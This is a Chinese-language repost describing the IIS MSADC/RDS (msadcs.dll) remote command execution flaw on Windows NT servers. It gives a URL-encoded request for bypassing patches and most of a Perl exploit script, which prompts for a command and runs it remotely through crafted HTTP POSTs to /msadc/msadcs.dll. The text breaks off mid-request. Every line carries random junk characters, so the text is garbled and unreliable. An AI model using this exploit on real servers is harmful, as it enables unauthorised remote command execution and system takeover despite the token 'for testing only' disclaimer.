IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)
{}>0e:51 ^?-:'<4q$ 涉及程序:
$I!XSz"/e Microsoft NT server
_ q(ko/T j:^#rFD4? 描述:
9`T)@Uj2n 1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限
HD@$t)mn 18)'c?^. 详细:
3]OE}[R 如果你没有时间读详细内容的话,就删除:
o~U$GBg c:\Program Files\Common Files\System\Msadc\msadcs.dll
k|v3.< - 有关的安全问题就没有了。
LSm$dK \<&m&%Zs 微软对关于Msadc的问题发了三次以上的补丁,仍然存在问题。
hjU::m,WX "$~':) V" 1、第一次补丁,基本上,其安全问题是MS Jet 3.5造成的,它允许调用VBA shell()函数,这将允许入侵者远程运行shell指令。
N"pc,Q\xU 关于利用ODBC远程漏洞的描述,请参看:
H~oail{EQ xj<Rp|7& http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm Um} OPetj.C/a 2、IIS 4.0的缺省安装设置的是MDAC1.5,这个安装下有一个/msadc/msadcs.dll的文件,也允许通过web远程访问ODBC,获取系统的控制权,这点在很多黑客论坛都讨论过,请参看
S$f9m http://www.microsoft.com/security/bulletins/MS99-025faq.asp aKV$pC<[o ; PF`Wj 这里不再论述。
jk"`Z<j~ 45=bGf# 3、如果web目录下的/msadc/msadcs.dll/可以访问,那么ms的任何补丁可能都没用,用类似:
r [9x n#/_Nz /%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset
rR$h* 的请求,就可以绕过安全机制进行非法的VbBusObj请求,从而达到入侵的目的。 下面的代码仅供测试,严禁用于非法用途,否则后果自负!!!
}^4Xv^dW>g @y e4q.m __lM7LFL #将下面这段保存为txt文件,然后: "perl -x 文件名"
,oORW/0iS d)B@x` #!perl
@*F"Q1 wI #
Vmc5IPd{\ # MSADC/RDS 'usage' (aka exploit) script
hv)x=e< #
00<cYy # by rain.forest.puppy
HpR]q05d #
wGU*:k7p # Many thanks to Weld, Mudge, and Dildog from l0pht for helping me
Hj'x Atx5 # beta test and find errors!
_ftI*ni:< R]Vt Y7}i, use Socket; use Getopt::Std;
G
!<Z.] getopts("e:vd:h:XR", \%args);
~Xw"}S5 -B>++r2A^ print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n";
214Ml0/%
,ZKr.`B if (!defined $args{h} && !defined $args{R}) {
LZ\q37UV print qq~
}xKP~h'F Usage: msadc.pl -h <host> { -d <delay> -X -v }
,368d9,rDz -h <host> = host you want to scan (ip or domain)
fr,7rS/w{l -d <seconds> = delay between calls, default 1 second
x"eRJii? -X = dump Index Server path table, if available
7.-V-?i -v = verbose
anuL1fXO -e = external dictionary file for step 5
BoA/6FRi[ R7]l{2V#^ Or a -R will resume a command session
TSA,WP\ KMt`XaC9e ~; exit;}
B6=ebM`q ,c$,!.r $ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target="";
2:*w~|6>}5 if (defined $args{v}) { $verbose=1; } else {$verbose=0;}
?J'Y& if (defined $args{d}) { $delay=$args{d};} else {$delay=1;}
a! (4Ch if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/);
v.\*./-i $target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");}
-Btk 3 if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; }
2;xIL] fTzvmC:g7 if (!defined $args{R}){ $ret = &has_msadc;
~)*,S^k(C. die("Looks like msadcs.dll doesn't exist\n")if $ret==0}
9*$t!r{B@ .\K_@M print "Please type the NT commandline you want to run (cmd /c assumed):\n"
tWo{7) Eb . "cmd /c ";
_my"%@n $in=<STDIN>; chomp $in;
w;D+y*2 $command="cmd /c " . $in ;
FK6[>(QO PEN\-*Pv if (defined $args{R}) {&load; exit;}
D>|H 2 )Z[ft print "\nStep 1: Trying raw driver to btcustmr.mdb\n";
w^(<N7B3T &try_btcustmr;
ml2_
]3j! :WC2Ax7$2 print "\nStep 2: Trying to make our own DSN...";
t4{rb,
}W &make_dsn ? print "<<success>>\n" : print "<<fail>>\n";
&6DMk- 1h(0IjG8 print "\nStep 3: Trying known DSNs...";
3E7ULK &known_dsn;
D@C-5rmq yh^!'!I6u[ print "\nStep 4: Trying known .mdbs...";
z+x\(/ &known_mdb;
2Fy>.*,? BW-`t-,E; if (defined $args{e}){
tv>>l% print "\nStep 5: Trying dictionary of DSN names...";
CF&NFSti^ &dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; }
dL:-Y.?0M 85lCj-cs print "Sorry Charley...maybe next time?\n";
M=.:,wRm exit;
xrlmKSPa =nz}XH%= ##############################################################################
>d~WH@o`G PEc,l>u9 sub sendraw { # ripped and modded from whisker
Gb"r|(! sleep($delay); # it's a DoS on the server! At least on mine...
l|xZk4@_uE my ($pstr)=@_;
ot@|!V socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
aGK?x1_ die("Socket problems\n");
@*>@AFnf\Z if(connect(S,pack "SnA4x8",2,80,$target)){
)@N2 select(S); $|=1;
UYFwS/ RW} print $pstr; my @in=<S>;
,_|]Ufr!a select(STDOUT); close(S);
hp8%.V$f return @in;
f6 |KN+. } else { die("Can't connect...\n"); }}
Vw[ 6t>` gHhh>FFAq ##############################################################################
Tfh 2. FE" y\2} sub make_header { # make the HTTP request
- *F(7$ my $msadc=<<EOT
Kqun^"Df POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1
R=.4 User-Agent: ACTIVEDATA
S2n39 3 Host: $ip
yPM3a7-Bm Content-Length: $clen
za#s/b$[ Connection: Keep-Alive
"mX\&%i6\p ~SQ?BoCI[ ADCClientVersion:01.06
N03G>fZ Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3
V7#Ff i 6W@UJx}w5 --!ADM!ROX!YOUR!WORLD!
'[J<=2& Content-Type: application/x-varg
Nb?w|Ne(T Content-Length: $reqlen
CxGx8*<X *ohL&